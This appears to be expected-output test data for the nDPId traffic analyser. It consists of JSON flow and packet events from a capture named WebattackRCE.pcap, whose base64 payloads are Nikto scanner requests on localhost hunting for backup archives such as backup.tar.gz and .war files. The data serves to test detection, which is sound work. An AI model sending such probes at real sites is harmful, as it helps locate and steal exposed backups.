+00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":351,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":351,"flow_packet_id":1,"flow_first_seen":1576420277232,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50246,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":352,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":352,"flow_packet_id":1,"flow_first_seen":1576420277233,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50248,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":352,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":352,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":233785,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB+aZAAEAGQo5\/AAABfwAAAcRIH5BuH8E5NSGMTIAYAED+tQAAAQEICp1m\/RmdZv0ZR0VUIC8xMjcuMC50YXIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":352,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":352,"flow_packet_id":1,"flow_first_seen":1576420277233,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50248,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":353,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":353,"flow_packet_id":1,"flow_first_seen":1576420277235,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50250,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":353,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":235079,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADF6elAAEAGUkd\/AAABfwAAAcRKH5Ao6tF83Ul6FYAYAED+uQAAAQEICp1m\/RudZv0aR0VUIC9iYWNrdXAudGFyLmd6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":353,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":353,"flow_packet_id":1,"flow_first_seen":1576420277235,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50250,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":354,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":354,"flow_packet_id":1,"flow_first_seen":1576420277236,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50252,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":354,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":236372,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFYRdAAEAG2xl\/AAABfwAAAcRMH5CsR1mJC42rtYAYAED+uQAAAQEICp1m\/RydZv0cR0VUIC9iYWNrdXAudGFyLmd6IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":354,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":354,"flow_packet_id":1,"flow_first_seen":1576420277236,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50252,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":355,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":355,"flow_packet_id":1,"flow_first_seen":1576420277237,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50254,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":355,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":355,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":237703,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/lsZAAEAGpXB\/AAABfwAAAcROH5CjIq5axoK2IoAYAED+swAAAQEICp1m\/R2dZv0dR0VUIC8xMjcuYWx6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":355,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":355,"flow_packet_id":1,"flow_first_seen":1576420277237,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50254,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":356,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":356,"flow_packet_id":1,"flow_first_seen":1576420277239,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50256,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":356,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":356,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":239104,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/HMpAAEAGH21\/AAABfwAAAcRQH5BQEyRWh8Tqd4AYAED+swAAAQEICp1m\/R+dZv0eR0VUIC8xMjcuYWx6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":356,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":356,"flow_packet_id":1,"flow_first_seen":1576420277239,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50256,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":357,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":357,"flow_packet_id":1,"flow_first_seen":1576420277240,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50258,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":357,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":357,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":240343,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGqKRAAEAGk4t\/AAABfwAAAcRSH5A2yZA9R5wqAoAYAED+ugAAAQEICp1m\/SCdZv0gR0VUIC9iYWNrdXAudGFyLmJ6MiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":357,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":357,"flow_packet_id":1,"flow_first_seen":1576420277240,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50258,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":358,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":358,"flow_packet_id":1,"flow_first_seen":1576420277242,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50260,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":358,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":242532,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGoOxAAEAGm0N\/AAABfwAAAcRUH5C09Jh1W5zr34AYAED+ugAAAQEICp1m\/SKdZv0iR0VUIC9iYWNrdXAudGFyLmJ6MiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":358,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":358,"flow_packet_id":1,"flow_first_seen":1576420277242,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50260,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":359,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":359,"flow_packet_id":1,"flow_first_seen":1576420277243,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50262,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":359,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":243667,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIi9VAAEAGsFh\/AAABfwAAAcRWH5DRYLNOcO51UIAYAED+vAAAAQEICp1m\/SOdZv0jR0VUIC8xMjcuMC4wLjEudGFyLmd6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":359,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":359,"flow_packet_id":1,"flow_first_seen":1576420277243,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50262,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":360,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":360,"flow_packet_id":1,"flow_first_seen":1576420277244,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50264,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":360,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":244827,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIKHJAAEAGE7x\/AAABfwAAAcRYH5BlBxDwgejT24AYAED+vAAAAQEICp1m\/SSdZv0kR0VUIC8xMjcuMC4wLjEudGFyLmd6IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":360,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":360,"flow_packet_id":1,"flow_first_seen":1576420277244,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50264,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":361,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":361,"flow_packet_id":1,"flow_first_seen":1576420277246,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50266,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":361,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":246040,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADF\/A9AAEAGQCF\/AAABfwAAAcRaH5B2IcSTgB9qe4AYAED+uQAAAQEICp1m\/SWdZv0lR0VUIC8xMjdfMF8wXzEud2FyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":361,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":361,"flow_packet_id":1,"flow_first_seen":1576420277246,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50266,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":362,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":362,"flow_packet_id":1,"flow_first_seen":1576420277247,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50268,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":362,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":247302,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFi69AAEAGsIF\/AAABfwAAAcRcH5D\/WbMzZ3h33IAYAED+uQAAAQEICp1m\/SedZv0nR0VUIC8xMjdfMF8wXzEud2FyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":362,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":362,"flow_packet_id":1,"flow_first_seen":1576420277247,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50268,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":363,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":363,"flow_packet_id":1,"flow_first_seen":1576420277248,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50270,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":363,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":248614,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDpjtAAEAGlfd\/AAABfwAAAcReH5CBd56aTxXXOIAYAED+twAAAQEICp1m\/SidZv0oR0VUIC8xMjcuMC4wLnppcCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":363,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":363,"flow_packet_id":1,"flow_first_seen":1576420277248,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50270,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":364,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":364,"flow_packet_id":1,"flow_first_seen":1576420277249,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50272,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 